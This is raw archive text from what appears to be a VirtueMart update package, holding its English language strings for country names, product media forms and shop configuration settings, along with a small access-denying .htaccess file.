COM_VIRTUEMART_COUNTRY_NOR="Norway" COM_VIRTUEMART_COUNTRY_OMN="Oman" COM_VIRTUEMART_COUNTRY_PAK="Pakistan" COM_VIRTUEMART_COUNTRY_PLW="Palau" COM_VIRTUEMART_COUNTRY_PSE="Palestinian Territory, Occupied" COM_VIRTUEMART_COUNTRY_PAN="Panama" COM_VIRTUEMART_COUNTRY_PNG="Papua New Guinea" COM_VIRTUEMART_COUNTRY_PRY="Paraguay" COM_VIRTUEMART_COUNTRY_PER="Peru" COM_VIRTUEMART_COUNTRY_PHL="Philippines" COM_VIRTUEMART_COUNTRY_PCN="Pitcairn" COM_VIRTUEMART_COUNTRY_POL="Poland" COM_VIRTUEMART_COUNTRY_PRT="Portugal" COM_VIRTUEMART_COUNTRY_PRI="Puerto Rico" COM_VIRTUEMART_COUNTRY_QAT="Qatar" COM_VIRTUEMART_COUNTRY_REU="Réunion" COM_VIRTUEMART_COUNTRY_ROU="Romania" COM_VIRTUEMART_COUNTRY_RUS="Russian Federation" COM_VIRTUEMART_COUNTRY_RWA="Rwanda" COM_VIRTUEMART_COUNTRY_BLM="Saint Barthélemy" COM_VIRTUEMART_COUNTRY_SHN="Saint Helena" COM_VIRTUEMART_COUNTRY_KNA="Saint Kitts and Nevis" COM_VIRTUEMART_COUNTRY_LCA="Saint Lucia" COM_VIRTUEMART_COUNTRY_MAF="Saint Martin (French part)" COM_VIRTUEMART_COUNTRY_SPM="Saint Pierre and Miquelon" COM_VIRTUEMART_COUNTRY_VCT="Saint Vincent and the Grenadines" COM_VIRTUEMART_COUNTRY_WSM="Samoa" COM_VIRTUEMART_COUNTRY_SMR="San Marino" COM_VIRTUEMART_COUNTRY_STP="Sao Tome And Principe" COM_VIRTUEMART_COUNTRY_SAU="Saudi Arabia" COM_VIRTUEMART_COUNTRY_SEN="Senegal" COM_VIRTUEMART_COUNTRY_SRB="Serbia" COM_VIRTUEMART_COUNTRY_SYC="Seychelles" COM_VIRTUEMART_COUNTRY_SLE="Sierra Leone" COM_VIRTUEMART_COUNTRY_SGP="Singapore" COM_VIRTUEMART_COUNTRY_SXM="Sint Maarten (Dutch part)" COM_VIRTUEMART_COUNTRY_SVK="Slovakia" COM_VIRTUEMART_COUNTRY_SVN="Slovenia" COM_VIRTUEMART_COUNTRY_SLB="Solomon Islands" COM_VIRTUEMART_COUNTRY_SOM="Somalia" COM_VIRTUEMART_COUNTRY_ZAF="South Africa" COM_VIRTUEMART_COUNTRY_SGS="South Georgia and the South Sandwich Islands" COM_VIRTUEMART_COUNTRY_SSD="South Sudan" COM_VIRTUEMART_COUNTRY_ESP="Spain" COM_VIRTUEMART_COUNTRY_LKA="Sri Lanka" COM_VIRTUEMART_COUNTRY_SDN="Sudan" COM_VIRTUEMART_COUNTRY_SUR="Suriname" COM_VIRTUEMART_COUNTRY_SJM="Svalbard and Jan Mayen" COM_VIRTUEMART_COUNTRY_SWZ="Swaziland" COM_VIRTUEMART_COUNTRY_SWE="Sweden" COM_VIRTUEMART_COUNTRY_CHE="Switzerland" COM_VIRTUEMART_COUNTRY_SYR="Syrian Arab Republic" COM_VIRTUEMART_COUNTRY_TWN="Taiwan" COM_VIRTUEMART_COUNTRY_TJK="Tajikistan" COM_VIRTUEMART_COUNTRY_TZA="Tanzania, United Republic of" COM_VIRTUEMART_COUNTRY_THA="Thailand" COM_VIRTUEMART_COUNTRY_TLS="Timor-Leste" COM_VIRTUEMART_COUNTRY_TGO="Togo" COM_VIRTUEMART_COUNTRY_TKL="Tokelau" COM_VIRTUEMART_COUNTRY_TON="Tonga" COM_VIRTUEMART_COUNTRY_TTO="Trinidad and Tobago" COM_VIRTUEMART_COUNTRY_TAA="Tristan da Cunha" COM_VIRTUEMART_COUNTRY_TUN="Tunisia" COM_VIRTUEMART_COUNTRY_TUR="Turkey" COM_VIRTUEMART_COUNTRY_TKM="Turkmenistan" COM_VIRTUEMART_COUNTRY_TCA="Turks and Caicos Islands" COM_VIRTUEMART_COUNTRY_TUV="Tuvalu" COM_VIRTUEMART_COUNTRY_UGA="Uganda" COM_VIRTUEMART_COUNTRY_UKR="Ukraine" COM_VIRTUEMART_COUNTRY_ARE="United Arab Emirates" COM_VIRTUEMART_COUNTRY_GBR="United Kingdom" COM_VIRTUEMART_COUNTRY_USA="United States" COM_VIRTUEMART_COUNTRY_UMI="United States Minor Outlying Islands" COM_VIRTUEMART_COUNTRY_URY="Uruguay" COM_VIRTUEMART_COUNTRY_UZB="Uzbekistan" COM_VIRTUEMART_COUNTRY_VUT="Vanuatu" COM_VIRTUEMART_COUNTRY_VAT="Vatican City State (Holy See)" COM_VIRTUEMART_COUNTRY_VEN="Venezuela" COM_VIRTUEMART_COUNTRY_VNM="Viet Nam" COM_VIRTUEMART_COUNTRY_VGB="Virgin Islands, British" COM_VIRTUEMART_COUNTRY_VIR="Virgin Islands, U.S." COM_VIRTUEMART_COUNTRY_WLF="Wallis and Futuna" COM_VIRTUEMART_COUNTRY_ESH="Western Sahara" COM_VIRTUEMART_COUNTRY_YEM="Yemen" COM_VIRTUEMART_COUNTRY_ZMB="Zambia" COM_VIRTUEMART_COUNTRY_ZWE="Zimbabwe"PKsl>\)Vcom_virtuemart_update/administrator/components/com_virtuemart/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PKsl>\VWcom_virtuemart_update/administrator/components/com_virtuemart/language/en-GB/index.htmlnuW+A PKsl>\V?kcom_virtuemart_update/administrator/components/com_virtuemart/language/en-GB/en-GB.com_virtuemart_media.ininuW+A; Virtuemart! Project ; Copyright (C) 2012 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; COM_VIRTUEMART_DEFAULT_URL="(Default URL) %1$s" COM_VIRTUEMART_FILES_FORM="Product Files Form" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE="already attached file" COM_VIRTUEMART_FILES_FORM_ALREADY_ATTACHED_FILE_PRIMARY="primary attached file" COM_VIRTUEMART_FILES_FORM_AUTO_THUMBNAIL="Create Thumbnail" COM_VIRTUEMART_FILES_FORM_CURRENT_FILE="Current File" COM_VIRTUEMART_FILES_FORM_CURRENT_FULL_IMAGE="Current Full Image" COM_VIRTUEMART_FILES_FORM_CURRENT_THUMB_IMAGE="Current Thumbnail Image" COM_VIRTUEMART_FILES_FORM_DOWNLOADABLE="Downloadable File" COM_VIRTUEMART_FILES_FORM_FILE="Additional File" COM_VIRTUEMART_FILES_FORM_FILE_DESCRIPTION="Displayed image subtitle" COM_VIRTUEMART_FILES_FORM_FILE_META="Image Alt-Text" COM_VIRTUEMART_FILES_FORM_FILE_PUBLISHED="File published?" COM_VIRTUEMART_FILES_FORM_FILE_TITLE="Unique Filename " COM_VIRTUEMART_FILES_FORM_FILE_URL="Used url" COM_VIRTUEMART_FILES_FORM_FILE_URL_THUMB="Used thumb url" COM_VIRTUEMART_FILES_FORM_IMAGE="Additional Image" COM_VIRTUEMART_FILES_FORM_IMAGETYPES_SUPPORTED="Supported filetypes for thumbnail creation " COM_VIRTUEMART_FILES_FORM_LANGUAGE="Languages" COM_VIRTUEMART_FILES_FORM_LANGUAGE_TIP="Show this image along with the selected languages (leave blank for all)" COM_VIRTUEMART_FILES_FORM_LOCATION="Storing location/type" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_NOT_SUPPORTED="The server does NOT support mime type recognition, using table" COM_VIRTUEMART_FILES_FORM_MIME_CONTENT_TYPE_SUPPORTED="The server supports mime type recognition" COM_VIRTUEMART_FILES_FORM_PRODUCT_IMAGE="Product Image (full and thumb)" COM_VIRTUEMART_FILES_FORM_RESIZE_IMAGE="Resize Full Image File?" COM_VIRTUEMART_FILES_FORM_ROLE="Role" COM_VIRTUEMART_FILES_FORM_UPLOAD_DOWNLOADPATH="Standard download directory" COM_VIRTUEMART_FILES_FORM_UPLOAD_IMAGEPATH="Standard image directory" COM_VIRTUEMART_FILES_FORM_UPLOAD_TO="Upload to" COM_VIRTUEMART_FILE_DESCRIPTION="File Description" COM_VIRTUEMART_FILE_MIMETYPE="File Mimetype" COM_VIRTUEMART_FILE_TITLE="Title" COM_VIRTUEMART_FILE_UPLOAD="Upload File" COM_VIRTUEMART_FILE_URL="Url" COM_VIRTUEMART_FORM_IMAGE_DELETE_LBL="Delete Image" COM_VIRTUEMART_FORM_MEDIA_CREATE_THUMBNAIL="Create thumb" COM_VIRTUEMART_FORM_MEDIA_DELETE="delete" COM_VIRTUEMART_FORM_MEDIA_DISPLAYABLE="Displayable" COM_VIRTUEMART_FORM_MEDIA_DOWNLOADABLE="Downloadable" COM_VIRTUEMART_FORM_MEDIA_NO_ATTRIB="No attribute" COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORIES="category" COM_VIRTUEMART_FORM_MEDIA_SET_CATEGORY="category" COM_VIRTUEMART_FORM_MEDIA_SET_FORSALE="For sale" COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURER="manufacturer" COM_VIRTUEMART_FORM_MEDIA_SET_MANUFACTURERS="manufacturer" COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCT="product" COM_VIRTUEMART_FORM_MEDIA_SET_PRODUCTS="product" COM_VIRTUEMART_FORM_MEDIA_SET_VENDOR="vendor" COM_VIRTUEMART_FORM_MEDIA_SET_VENDORS="vendor" COM_VIRTUEMART_FORM_MEDIA_SET_VENDORS="vendor" COM_VIRTUEMART_FORM_MEDIA_UPLOAD="Upload" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_ATTACH="upload and attach" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_DELETE="upload and delete" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE="Replace" COM_VIRTUEMART_FORM_MEDIA_UPLOAD_REPLACE_THUMB="Replace thumb" COM_VIRTUEMART_IMAGES="Images" COM_VIRTUEMART_IMAGE_ACTION="Image Action" COM_VIRTUEMART_IMAGE_ATTACH_EXISTING="--Image Choice--" COM_VIRTUEMART_IMAGE_ATTACH_NEW="Attach new Image" COM_VIRTUEMART_IMAGE_DETACH="Image Detach" COM_VIRTUEMART_IMAGE_EDIT_INFO="Edit Image Information" COM_VIRTUEMART_IMAGE_INFORMATION="Image Information" COM_VIRTUEMART_IMAGE_NOT_FOUND="Image not found!" COM_VIRTUEMART_IMAGE_REMOVE="Remove Image" COM_VIRTUEMART_MEDIA_LIST="Product Media File List" COM_VIRTUEMART_RTB_AD="Sell more with professional looking product images! Get them edited by our partner Remove The Background. They love to remove backgrounds, crop, resize, add shadow, combine images (and much more) so you get the perfect result every time." COM_VIRTUEMART_SEARCH_MEDIA="Search for images" COM_VIRTUEMART_SEARCH_MEDIA_TIP="Type a space to display all images or the first letters of an image title" PKsl>\ƷSSlcom_virtuemart_update/administrator/components/com_virtuemart/language/en-GB/en-GB.com_virtuemart_config.ininuW+A; VirtueMart Project ; Copyright (C) 2008 VirtueMart, 2009 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; Config COM_VIRTUEMART_ADMIN_CFG_ACCOUNT_ACTIVATION="New account activation necessary?" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP="Display modal popup upon 'Add to cart'" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP_EXPLAIN="If checked, you see the modal 'facebox' on adding a product to cart else you are redirect to the cart" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER="Must agree to Terms of Service on EVERY ORDER?" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER_EXPLAIN="Check if you want a shopper to agree to your terms of service on EVERY ORDER (before placing the order)." COM_VIRTUEMART_ADMIN_CFG_ALLOW_REGISTRATION="User registration allowed?" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH="General Assets URL" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH_EXPLAIN="This is usually the URL to the asset folder in com_virtuemart (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT="Enable Automatic Selected Payment?" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT_EXPLAIN="When Automatic Selected Payment is enabled, if only one payment method is available, then it is preselected.
    If Automatic Selected Payment is NOT selected, even when there is only one payment method is available, a new page is loaded. It is usefull if the payment method must validate payment data entered by the user." COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT="Enable Automatic Selected Shipment?" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT_EXPLAIN="When Automatic Selected Shipment is enabled, if only one shipment method is available, then it is preselected.
    If Automatic Selected Shipment is NOT selected, even when there is only one shipment method is available, a new page is loaded. It is usefull if the shipment method must validate shipment data entered by the user." COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW="Default number of categories in a row" COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW_EXPLAIN="This defines the number of categories in a row.
    " COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT="Category Layout" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT_EXPLAIN="This is the default layout for browsing categories." COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE="Category Template" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE_EXPLAIN="This defines the default category template for displaying products in a category.
    " COM_VIRTUEMART_ADMIN_CFG_CAT_FEED_SETTINGS="Category Feed Settings" COM_VIRTUEMART_ADMIN_CFG_CHECKOUTTAB="Checkout" COM_VIRTUEMART_ADMIN_CFG_CHECKOUT_SETTINGS="Checkout Settings" COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT="Shop date format" COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT_EXPLAIN="The default date format used by the shop. Ex: %m/%d/%y." COM_VIRTUEMART_ADMIN_CFG_DEBUG="DEBUG?" COM_VIRTUEMART_ADMIN_CFG_DEBUG_EXPLAIN="Turns on the debug output. This causes the DEBUGPAGE to be displayed at the bottom of each page. Very helpful during shop development since it shows the carts contents, form field values, etc." COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS="Client IP address" COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS_EXPLAIN="If you enable this option and enter an IP address here, then debug output will be enabled ONLY for this client IP address. Other clients will not see the debugging output." COM_VIRTUEMART_ADMIN_CFG_DOWNLOADABLETAB="Downloads" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT="Download Path" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT_EXPLAIN="The physical path to the files for the shopper download. (trailing slash at the end!)
    " COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE="Download Expire" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE_EXPLAIN="Sets the time range in seconds in which the download is enabled for the shopper." COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL="Keep Product Stock Level on Purchase?" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL_TIP="When enabled, the stock level for a downloadable product is not lowered although it was purchased by shoppers." COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX="Download Maximum" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX_EXPLAIN="Sets the number of downloads which can be made with one Download-ID, (for one order)" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_SETTINGS="Download Settings" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING="Enable Dynamic Thumbnail Resizing?" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING_TIP="If checked, you enable dynamic Image Resizing. This means that all Thumbnail Images are resized to fit the Sizes you provide below" COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN="Enable Joomla Plugin" COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN_EXPLAIN="Enable Joomla content Plugin for the Product description. Should not be checked if you don't use Joomla content plugin" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG="Enable debugging messages" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ADMIN="Only for administrators" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ALL="For all" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_EXPLAIN="Select to who the debug message are reported" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_NONE="No debug" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS="Enable Downloads" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS_EXPLAIN="Check to enable the download capability. Only if you want to sell downloadable goods." COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH="Use english as fallback for untranslated strings" COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH_EXPLAIN="Load the english language file, to avoid untranslated strings to be displayed as keys" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY="Use external google jQuery library" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY_TIP="Using the external google library improves page speed" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX="Enable Multivendor (experimental only for developers)" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_ADMIN="administrated multivendor" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_EXPLAIN="Enable this function only, when you can code php and know what to do, this is just an option to enable multivendor for customisation." COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_NONE="none" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES="Create and send pdf invoices" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES_EXPLAIN="For this feature it is important that you set your safe path correctly" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE="ERRORPAGE" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE_EXPLAIN="This is the default page for displaying error messages." COM_VIRTUEMART_ADMIN_CFG_EXPLAIN="Be aware that a session cache is active for the configuration and has a life time of 500 minutes. Your changes take up to 5 minutes to affect all sessions, including your session. To generate a new session, just logout, and login again." COM_VIRTUEMART_ADMIN_CFG_FEAT_PROD_ROWS="Rows for featured products" COM_VIRTUEMART_ADMIN_CFG_FEAT_PROD_ROWS_EXPL="This defines the number of rows for featured products." COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE="Type of Product Description" COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE_TIP="Choose the type of product description that will be included with the feed." COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE="Enable Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the products of all certain categories in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_ENABLE="Enable Featured Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the Featured products in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_NB="Number of featured products" COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_NB_TIP="Number of featured products to send to the feed" COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_ENABLE="Enable Latest Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the latest products in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_NB="Number of latest products" COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_NB_TIP="Number of latest products to send to the feed" COM_VIRTUEMART_ADMIN_CFG_FEED_LIMITTEXT="Limit the Description?" COM_VIRTUEMART_ADMIN_CFG_FEED_MAX_TEXT_LENGTH="Maximum Description Length" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC="Include the Product Description?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC_TIP="If enabled, the Product Description will be added to the feed item" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES="Include Images into the feed?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES_TIP="If enabled, the thumb images will be included with the feed item." COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES="Include the Product Price into the description?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES_TIP="If enabled, the standard Product Price will be added to the Product Description" COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_ENABLE="Enable Top Ten Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the Top Ten products in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_NB="Number of topten products" COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_NB_TIP="Number of topten products to send to the feed" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN="Allow Frontend-Administration for non-Backend Users?" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN_EXPLAIN="With this setting you can enable the Frontend Administration for users who" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS="Using the VirtueMart CSS" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS="Activate Css Styles & Javascripts" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS_TIP="Inactivate some of this script requires the installation of the replacement script in your template.
    In other case your shop is no longer functional " COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_TIP="Using the original Virtuemart CSS design" COM_VIRTUEMART_ADMIN_CFG_FRONT_JCHOSEN="Use jQuery chosen for dropdowns in FE" COM_VIRTUEMART_ADMIN_CFG_FRONT_JCHOSEN_TIP="Usually you can activate this, but some templates may have already their own solution" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE="Using the product Scripts" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE_TIP="These scripts are required for the dynamic operation of the basket and price!
    You loose all the standard inter-activity by turning off the script" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY="Using the VirtueMart jQuery" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY_TIP="To address some issues between VirtueMart and Templates / component / modules, you can disable the jQuery internal library " COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE="Using the Script ajax Countries / Regions" COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE_TIP="Dynamic update Your country / region will not work without this script.
    Please, verify that this does not affect the operation of your site" COM_VIRTUEMART_ADMIN_CFG_GD_MISSING="Dynamic Image Resizing is not available. The GD library seems to be missing" COM_VIRTUEMART_ADMIN_CFG_HOMEPAGE_SETTINGS="VirtueMart Home Page Settings" COM_VIRTUEMART_ADMIN_CFG_HOME_FEED_SETTINGS="Home Page Feed Settings" COM_VIRTUEMART_ADMIN_CFG_JOOMLA_TEMPLATE_DEFAULT="Use joomla default" COM_VIRTUEMART_ADMIN_CFG_LANGFIX="Language Javascript Fix" COM_VIRTUEMART_ADMIN_CFG_LANGFIX_EXPLAIN="Activate the language Javascript Fix for some Joomla version" COM_VIRTUEMART_ADMIN_CFG_LAT_PROD_ROWS="Rows for latest" COM_VIRTUEMART_ADMIN_CFG_LAT_PROD_ROWS_EXPL="This defines the number of rows for latest products." COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT="Order-mail format" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_EXPLAIN="This determines how your order confirmation emails are set up" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_HTML="HTML mail" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_TEXT="Text mail" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT="Receive vendor mail with recipient address" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT_EXPLAIN="Usually the vendor receives the mail from joomla system email address. If you set this, you'll receive the mail coming as recipient address. Set this option if you're really sure what you do! If in doubt, do not switch on this parameter." COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER="Recipient address set as Sender, not ReplyTo" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER_EXPLAIN="If set, the mail address of the recipient is set as Sender. If not, the recipient is set as reply address. Set this option if you're really sure what you do! If in doubt, do not switch on this parameter." COM_VIRTUEMART_ADMIN_CFG_MAIL_USEVENDOR="Use the vendor email address" COM_VIRTUEMART_ADMIN_CFG_MAIL_USEVENDOR_EXPLAIN="You can use the vendor email address or the one set in the joomla configuration. This setting depends on your selected mailer." COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT="Layout for your home page" COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT_TIP="This is the default layout for your homepage" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW="Default number of manufacturer in a row" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW_EXPLAIN="This defines the number of manufacturer in a row.
    " COM_VIRTUEMART_ADMIN_CFG_MAX_TEXT_LENGTH_TIP="This is the maximum length of the product description for each feed item. If no value is set, the complete description is sent." COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH="Category Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH_EXPLAIN="URL to the images of the categories (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH="Safe Path" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_EXPLAIN="Path for downloadable goods for sale and your invoices. This path is meant from your file root, not Joomla root. Attention - you must enter an absolute path here and it should (not must) be outside of your domain directory (i.e. httpdocs)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB="Thumbnail url for media to sell" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB_EXPLAIN="The idea is that you can represent your downloadable goods by a self chosen thumbnail, this is usually a normal URL." COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH="Manufacturer Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH_EXPLAIN="URL to the images of the manufacturers" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH="Product Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH_EXPLAIN="URL to the images of the products (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_TITLE="Media Files Settings" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH="Vendor Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH_EXPLAIN="URL to the images of the vendors (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_MORE_CORE_SETTINGS="Core Settings" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE="Multilingual shop" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE_EXPLAIN="Activate the multi-language translation system" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND="'no image found' image" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND_EXPLAIN="This means that there is no image found at the given path" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE="'no image' image" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE_EXPLAIN="This image will be shown when no product image is available." COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS="Order Status which disables downloads" COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS_EXPLAIN="Sets the order status at which the download is disabled for the shopper." COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS="Order Status which enables download" COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS_EXPLAIN="Select the order status at which the shopper is notified about the download via e-mail." COM_VIRTUEMART_ADMIN_CFG_PAGINATION_SEQUENCE="Set the pagination sequence for the List Box" COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON="PDF Button" COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON_EXPLAIN="Show or Hide the PDF - Button in the Shop" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_ADD="Displays 'Notify Me' instead of 'Add To Cart' button" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT="Do not Display Product" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT_CHILDREN="Do not Display Product, if child products also out of stock" COM_VIRTUEMART_ADMIN_CFG_POOS_NONE="Products Out of Stock are orderable, no special action" COM_VIRTUEMART_ADMIN_CFG_POOS_RISE_AVATIME="Products Out of Stock are orderable, and the field 'Availability' below is displayed" COM_VIRTUEMART_ADMIN_CFG_PRICES="Show Following Prices" COM_VIRTUEMART_ADMIN_CFG_PRICES_INCLUDE_TAX="Show Prices including tax?" COM_VIRTUEMART_ADMIN_CFG_PRICES_LABEL="Show Price" COM_VIRTUEMART_ADMIN_CFG_PRICES_ROUNDING="Rounding Digits" COM_VIRTUEMART_ADMIN_CFG_PRICES_TEXT="Show Label" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL="Membergroup to show prices to" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL_TIP="The selected membergroup and all groups with higher permissions will be able to see the product prices" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE="Show call for price, when the price is 